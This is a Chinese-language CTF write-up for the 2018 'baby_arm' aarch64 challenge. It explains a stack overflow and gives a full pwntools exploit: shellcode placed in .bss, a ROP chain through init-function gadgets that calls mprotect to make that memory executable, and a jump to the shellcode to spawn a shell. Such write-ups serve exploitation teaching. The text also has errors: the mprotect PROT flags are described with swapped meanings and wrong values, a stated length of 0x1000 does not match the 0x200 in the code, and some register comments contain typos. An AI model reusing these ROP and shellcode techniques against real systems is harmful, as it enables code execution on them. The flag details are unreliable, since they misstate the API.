Shanghai2018_baby_arm

checksec

1

qemu模拟运行

2

有两处输入点

IDA静态分析

动态链接的程序比之前32位的typo静态链接的要看起来舒服点

main函数如下:

3

程序很简单,unk_411068变量存放在bss段,下面的sub_4007F0()函数是往栈中写入数据,但是存在溢出。而且程序中有mprotect()函数,mprotect()函数可以用来修改一段指定内存区域的保护属性,函数原型为:

1
int mprotect(const void *start, size_t len, int prot);

一参addr:修改保护属性区域的起始地址
二参len:被修改保护属性区域的长度
三参prot:可以取以下几个值,并且可以用“|”将几个属性合起来使用:
PROT_READ:表示内存段内的内容可写(二进制:0,1,0,十进制:2)
PROT_WRITE:表示内存段内的内容可读(二进制:1,0,0,十进制:4)
PROT_EXEC:表示内存段中的内容可执行(二进制:0,0,1,十进制:1)
PROT_NONE:表示内存段中的内容根本没法访问(二进制:0,0,0,十进制:0)
三参prot一般可以直接给可读可写可执行权限,二进制为1,1,1,十进制7
init函数和x86下的csu_init很相似:

4

MOV X2, X22就是把X22寄存器中的值赋给X2(部署3参)下面X1和W0用来部署2参和1参

LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20

gadget1:0x4008CC-0x4008DC

1
2
3
4
5
6
.text:00000000004008CC loc_4008CC       ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20
.text:00000000004008D0 LDP X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给0x22
.text:00000000004008D4 LDP X23, X24, [SP,#0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给0x24
.text:00000000004008D8 LDP X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30
.text:00000000004008DC RET ; 返回x30寄存器中存放的地址

gadget2:0x4008AC ~ 0x4008C8

gadget2主要的功能时从X21、X22、X23、X24寄存器分别向X3、X2、X1、X0中赋值,其中X0、X1、X2三个寄存器常用来存放函数的前三个参数。接下来会将X19寄存器中的数值+1后,直接强制跳转至X3寄存器中存放的地址,这里其实是可以当做一个ret来使用的。接着回去比较X19与X20寄存器中的数值,如果相等则不跳转,如果不相等则重新执行gadget2。因此如果想要继续执行接下来代码的话,就需要实现在gadget2中部署好X19与X20寄存器中的数值

payload:

1
2
3
4
5
6
7
8
将"s4ndw1ch"字符串放在x29寄存器中进行占位
将csu_up地址放在x30寄存器中等待最后返回执行csu_up
将0x0放在x19寄存器中等待csu_up中+1与x20比较
将0x1放在x20寄存器中等待csu_up中与x19比较
将存放mprotect()函数的bss段地址放在x21寄存器中等待在csu_up中赋值给x3寄存器
将0x7作为mprotect()函数第三个参数放在x22寄存器中等待在csu_up中赋值给x2
将0x1000作为mprotect()函数第二个参数放在x23寄存器中等待在csu_up中赋值给x1
将存放shellcode的bss段地址作为mprotect()函数第一个参数放在x24寄存器中等待在csu_up中赋值给w0

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import * 
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./arm"])
elf = ELF('./arm')
context.log_level = "debug"
context.arch = 'aarch64'
context.os = "linux"

mprotect_plt = elf.plt['mprotect']
gadget1 = 0x4008CC
gadget2 = 0x4008AC
mprotect = 0x411068
shellcode_addr = 0x411068 + 0x8
shellcode = asm(shellcraft.aarch64.sh())
payload1 = p64(mprotect_plt) + shellcode
io.sendlineafter('Name:',payload1)

payload2 = b'a'*0x48 + p64(gadget1) #返回gadget1执行
payload2 += b's4ndw1ch' + p64(gadget2) + p64(0) + p64(1) #x29寄存器用字符串占位,x30存放gadget2的地址,x19置0,x20置1
payload2 += p64(mprotect) + p64(0x7) + p64(0x200) + p64(shellcode_addr) # x21存mprotect的地址 接着是mprotect的三个参数
payload2 += b's4ndw1ch' + p64(shellcode_addr) # gadget2不会跳转,继续往下执行gadget1,设置x30为shellcode_addr即可跳转执行

io.sendline(payload2)

io.interactive()

5